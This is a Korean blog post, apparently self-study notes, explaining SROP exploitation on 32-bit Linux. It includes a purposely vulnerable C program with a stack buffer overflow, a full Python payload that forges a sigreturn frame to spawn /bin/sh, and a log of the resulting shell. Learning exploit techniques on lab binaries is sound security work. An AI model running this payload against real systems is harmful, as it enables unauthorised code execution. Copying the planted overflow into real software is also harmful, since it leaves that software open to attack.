티스토리 뷰
참고한 문서 SROP.pdf
이 포스팅은 위 문서를 기반으로 작성되었습니다.
똑같진 않지만 어느정도 기반으로 exploit이 진행되었기 때문에
문제가 된다면 삭제하겠습니다.
* 개인 공부용이기 때문에 문서를 보는것이 훨씬 낫습니다.
----------------------------------------
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | // vuln.c // gcc -o vuln vuln.c -fno-stack-protector -fno-pie -mpreferred-stack-boundary=2 char binsh[] = "/bin/sh\x00"; void int80() // int 0x80 ; gadget { asm("int $0x80"); } void main(void) { char buf[8]; read(0, buf, 128); }; | cs |
SROP의 장점은 ROP보다 적은 gadget을 사용하고 exploit을 성공시킬 수 있다는 것이다.
(원래 "/bin/sh"문자열도 read를 통해서 받아야 하지만 생략. data섹션에 넣어주자)
http://linux.die.net/man/2/sigreturn
int sigreturn(unsigned long __unused);
sigreturn함수는 시그널 문맥으로써 복귀할 때 사용하는 함수이다.
sigreturn 함수의 syscall number는 unistd_32.h에서 확인할 수 있다.
1 | #define __NR_sigreturn 119 | cs |
그리고 시그널 문맥 (레지스터가 들어가는 순서(?))는 sigcontext.h에서 확인 가능
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate *fpstate; unsigned long oldmask; unsigned long cr2; }; | cs |
int $0x80가젯은 eax의 값으로 syscall을 하기 때문에 eax를 제어해야 한다.
1 2 3 4 5 6 7 8 9 10 11 | open() 함수로 열기를 한 파일의 내용을 읽기를 합니다. 헤더 unistd.h 형태 ssize_t read (int fd, void *buf, size_t nbytes) 인수 int fd 파일 디스크립터 void *buf 파일을 읽어 들일 버퍼 size_t nbytes 퍼버의 크기 반환 ssize_t 정상적으로 실행되었다면 읽어들인 바이트 수를, 실패했다면 -1을 반환 | cs |
read()함수는 읽어들인 값의 크기만큼 반환을 하니 충분히 eax를 제어할 수 있음.
* 사실 sigreturn이 잘 되는지 봐야하지만 생략, 잘 됩니다. :)
최종 exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | #!/usr/bin/env python from struct import pack int80 = 0x08048420 # int $0x80 ; gadget binsh = 0x0804a020 # "/bin/sh" ; string sigreturn = 0x00000077 execve = 0x0000000B ret_dummy = 0x0000000C def exploit(): payload = "\x90" * ret_dummy # dummy payload += pack("<L", int80) # RET ; int $0x80 payload += pack("<L", 0x00000033) # GS payload += pack("<L", 0x00000000) # FS payload += pack("<L", 0x0000007b) # ES payload += pack("<L", 0x0000007b) # DS payload += pack("<L", 0x00000000) # EDI payload += pack("<L", 0x00000000) # ESI payload += pack("<L", 0x08049f00) # EBP payload += pack("<L", 0x08049e00) # ESP payload += pack("<L", binsh) # EBX ; "/bin/sh" ; string payload += pack("<L", 0x00000000) # EDX payload += pack("<L", 0x00000000) # ECX payload += pack("<L", execve) # EAX ; syscall number of execve() payload += pack("<L", 0x00000000) # trapno payload += pack("<L", 0x00000000) # err payload += pack("<L", int80) # EIP ; int $0x80 payload += pack("<L", 0x00000073) # CS payload += pack("<L", 0x00000246) # eflags payload += pack("<L", 0x00000000) # esp_at_signal payload += pack("<L", 0x0000007b) # SS payload += "\x00" * (118 - len(payload)) print payload if __name__ == "__main__": exploit() | cs |
1 2 3 4 5 6 7 8 9 | $ (./exploit.py ; cat) | ./vuln whoami err0rless id uid=1000(err0rless) gid=1000(err0rless) groups=1000(err0rless)... ls -al | grep flag -rw-rw-r-- 1 err0rless err0rless 17 Feb 14 17:15 flag cat flag SROP on 32Bit :) | cs |
1 | SROP on 32Bit :) | cs |
'Pwnable > Technique' 카테고리의 다른 글
The House of Force (kor) (0) | 2016.04.05 |
---|---|
문제풀이로 보는 Integer Overflow 기법 (0) | 2015.02.01 |
mprotect() 함수 이용하여 Exploit하기 (0) | 2015.01.16 |
Bypass NX-Bit And ASCII-Armor Python 익스플로잇 (3) | 2014.11.10 |
Bypass NX-Bit and ASCII-Armor (15) | 2014.10.26 |
댓글